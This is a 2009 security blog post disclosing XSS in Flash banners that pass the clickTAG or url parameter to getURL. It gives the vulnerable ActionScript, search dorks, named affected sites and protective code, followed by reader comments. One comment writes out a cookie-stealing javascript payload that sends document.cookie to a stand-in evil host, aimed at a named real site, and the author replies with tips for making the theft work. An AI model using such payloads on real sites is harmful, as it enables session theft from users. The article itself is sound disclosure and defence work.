XSS vulnerabilities in 8 millions flash files

22:49 21.12.2009

This is English version of my XSS vulnerabilities in 8 millions flash files article.

I’ll continue a topic, which I started in 2008 in my article XSS vulnerabilities in 215000 flash files. That time I found hundreds of thousands flash files vulnerable to Cross-Site Scripting attacks. After previous article, published at 12.11.2008, I continued researches and found, that much more flash files - millions flash files - were vulnerable to XSS attacks. As flash files in different global and local banner systems, as flash files at individual sites.

Vulnerable ActionScript code.

As I already wrote in previous article, vulnerability is in the next AS code. As with setting second parameter in function getURL (target), as without it.

getURL(_root.clickTAG, "_blank");

But, as my researches showed, in different flash files (at different sites and banner systems) different parameters are using for passing of a site’s address to flash file. Besides clickTAG there are also using url and other parameters.

getURL(_root.url, "_blank");

Attack occurs via passing of XSS code to flash file in clickTAG, url or other parameter:



There are also flash files which are using two parameters, particularly clickTAG and TargetAS, with the next AS code:

getURL(_root.clickTAG, _root.TargetAS);

Attack occurs with using of parameters clickTAG and TargetAS:


After click on flash the transfer of string to function getURL occurs, which passed to flash via appropriate parameter. Thus can be executed JavaScript code, which was passed to flash. So it’s strictly social XSS.

Prevalence of the problem.

Vulnerability exists in ActionScript code for counting of clicks in flash banners. And taking into account that such code is using for many years in different banner systems of Internet (including widespread instructions for developing of flash banners with using of vulnerable AS code), so the problem is widespread enough. For example, I registered at banner.kiev.ua already in 2000, and, as far as I remember, already at that time they had recommendations at the site with using of vulnerable AS code.

So problem is concerned with faulty recommendations for developing of flash banners with possibility of counting of clicks. And it’s concerned millions flash banners in the Net.

Such vulnerabilities exist in many banner system, as global, as local ones. Particularly these vulnerabilities I found in systems phpAdsNew, OpenAds and OpenX (at many sites on these engines), and also in banner system www.banner.kiev.ua and in other banner systems of Uanet an Runet.

There are a lot of potentially vulnerable flash files in Internet (according to Google):

filetype:swf inurl:clickTAG

About 3960000 results. At 12.11.2008 there were about 215000. Growth in 18,42 times for this time.

filetype:swf inurl:url

About 4050000 results. At 12.11.2008 there were about 996000. Growth in 4,07 times for this time.

In total it’s about 8010000 (more than 8 millions) flash files which are potentially vulnerable to XSS attacks. Not all of these flashes are vulnerable, but many of them. And these are only those flash files, which were indexed by Google, and actually there can be much more of them.

Among them there are about 12400 + 275 gov-sites - the sites of state institutions of different countries.

Note, that some of these flashes are using method #1 for protection against XSS, which is mentioned bellow. But it’s small percent of flashes - mostly they are using vulnerable AS code.

Besides, similar Strictly social XSS vulnerability I found at 15.03.2009 in plugin WP-Cumulus for WordPress (in file tagcloud.swf).

filetype:swf inurl:tagcloud.swf

About 34000000 results. I.e. another 34 millions flashes which are potentially vulnerable to XSS attacks :-) . Add 34 millions to 8 millions and result 42 millions of vulnerable flash files!

Nuances of work in different browsers.

In flashes with set target = “_blank” it’s not possible to get to cookies in Internet Explorer (particularly IE6), Mozilla and Google Chrome. But it’s possible to get to cookies in Firefox 3, Opera 9.52 and possibly in other browsers.

Also in case of set target = “_blank”, JS-code doesn’t work in browsers IE6 and Google Chrome.

If target is unspecified, or if target set to other than “_blank” (including via parameter TargetAS, if it’s using in flash), JS-code works in all browsers. And it’s possible to get to cookies in all browsers.

Examples of vulnerable flash files.

Among sites with flashes vulnerable to XSS there is server.cpmstar.com (attack via parameter clickTAG):

Among gov-sites as an example of flash at www.fatherhood.gov (attack via parameter clickTag):

Example of vulnerable flash at www.banner.kiev.ua (attack via parameter url):

Example of vulnerable flash at www.wie-man-sieht.net, which allows to get to cookies in all browsers (attack via parameter url):

Example of vulnerable flash at www.adspeed.com, which allows to get to cookies in all browsers (attack via parameters clickTAG and TargetAS):

Protection of flash files against XSS attacks.

To prevent such XSS attacks via flash files it’s needed to not use vulnerable AS code and it’s needed to use one of the next methods.

1. Instead of vulnerable AS code it’s possible to use more secure code. E.g. code which is mentioned at Adobe’s site - Designer’s Guide: Building Macromedia Flash Banners with Tracking Capabilities.

on (release) {
if (clickTAG.substr(0,5) == "http:") {

It’s code on button. If using of code on frame, then for button “button” code will be the next:

_root.button.onRelease = function () {
if (clickTAG.substr(0,5) == "http:") {

But this method isn’t protecting against URL spoofing, which allows to conduct of redirection attacks to arbitrary (including malicious) sites. So it’s better to use more secure AS code.

2. To use direct URL in flash (http://site), without using of parameter clickTAG.

3. If needed to count clicks, then it’s possible to use URL to banner system (http://banner/click?id=1), which will redirect to necessary site.

For example, in my system MustLive Banner System directly in the interface I’m recommending to use for flash banners above-mentioned methods #2 and #3, so there is no this problem with XSS via flash files in it. So attend to your flash files and don’t allow such vulnerabilities in them.

15 відповідей на “XSS vulnerabilities in 8 millions flash files”

  1. Jep каже:


    It doesn’t work in Google Chrome… :P

  2. MustLive каже:


    About work of this attack in Google Chrome and other browsers I wrote in “Nuances of work in different browsers” part of the article ;-) .

    Those flashes which work in Chrome I tested in Google Chrome

  3. MustLive каже:

    Recently I gave interview for Data Security Podcast regarding this research.

  4. D-Null каже:

    Nice article. Not to long, not to short, and still very informative. More of this kind of articles!!!

  5. MustLive каже:


    Thanks you.

    Feel free to read other my articles. Some of the articles I wrote on English. Some of them I published at my site, like in case of MouseOverJacking attacks, and English version of others I published to mail lists, like in case of XSS vulnerabilities in 34 millions flash files. In last case I write in comments the link to English version of the article.

  6. kgraeme каже:

    The current version 1.2.3 of the wp-cumulus plugin appears to have fixed the XSS problem.

  7. MustLive каже:


    Yes, I know it. After I informed developer of WP-Cumulus in November, Roy fixed XSS hole and wrote a post about it.

    But he didn’t fix HTML Injection, so every tagcloud.swf file (with or without fixed XSS hole) can be used for HTML Injection attacks. I wrote about it in my article XSS vulnerabilities in 34 millions flash files.

  8. kgraeme каже:

    Ah, yes. Just tested it and yes it does still have HTML injection. That sucks.

  9. MustLive каже:

    kgraeme, I informed the author of WP-Cumulus about HTML injection hole and he’d think about it. But because the core functionality of the plugin is vulnerable, it’ll be hard to fix this kind of vulnerability.

    So for now only XSS hole in WP-Cumulus is fixed. And it’s unknown if HTML Injection hole will be fixed.

  10. Jiet каже:

    STEALING COOKIES IS NOT THAT EASY :( - However reading cookies (and smell the delicious aroma, mmm…) IS!!! (and yes, I’m just kidding about the last one - and I don’t think silicium harddrive cookies are healthy anyway)

    Ok, ok, let’s get to the point:

    However may be able to use javascript to read the session cookies and sent it to another site to save it and use someone else his/her acount.


    Run this code on the website you want to steal the cookie….
    javascript:window.open(”http://JIETSEVILSITE.EVIL?stolencookie=”+document.cookie , “New”, “width=1,height=1,scrollbars=no”)

    But it just doesn’t seem to work if I put it after a ‘clickTAG’…

    http://www.wildlifefocus.com/NLD/Sponsors/DaimlerChrysler_banner_468X60.swf?clickTAG=javascript:window.open(”http://JIETSEVILSITE.EVIL?stolencookie=”+document.cookie , “New”, width=1,height=1,scrollbars=no”)

    It opens a new window, but doesn’t sent the cookie to your site.
    Or asks you if you want to save the file or just doesn’t open at all…
    Depending on the browser.

    There seem to be a problem with the “+document.cookie” (or ‘+’ anything) part… But Why? ;)

  11. MustLive каже:


    First, you can use XSS holes not only for cookie stealing, but also for other attacks (like advanced XSS attacks or attacking browsers of the users with exploits).

    Second, you can steal cookies if you want. Just do it right ;-) .

    There seem to be a problem with the “+document.cookie” (or ‘+’ anything) part…

    Flash banner at wildlifefocus.com is using target=_blank. And as I wrote in my article, in such flash files it’s not possible to get to cookies in Internet Explorer (particularly IE6), Mozilla and Google Chrome. The code will be executed not in context of the site.

    But it works in Firefox 3 and Opera 9.52 - in these browsers the code will be executed in context of the site. But they still don’t give you normal possibility to read cookies. I.e. they give you to read test cookies (which were added to the browser, e.g. via Cookie Editor plugin for Firefox), but not read sites cookies.

    So, first, you need to find flash file without target=_blank.

    Second, use %2b instead of +. And the attack will work.

    Here is an example for wie-man-sieht.net.

  12. Alam каже:

    Great article, thanks for share.

  13. MustLive каже:


    You are welcome.

  14. allison fretman каже:

    very informative article.


  15. MustLive каже:

    Allison, you are welcome.

    I’m glad that you liked it.

Leave a Reply

You must be logged in to post a comment.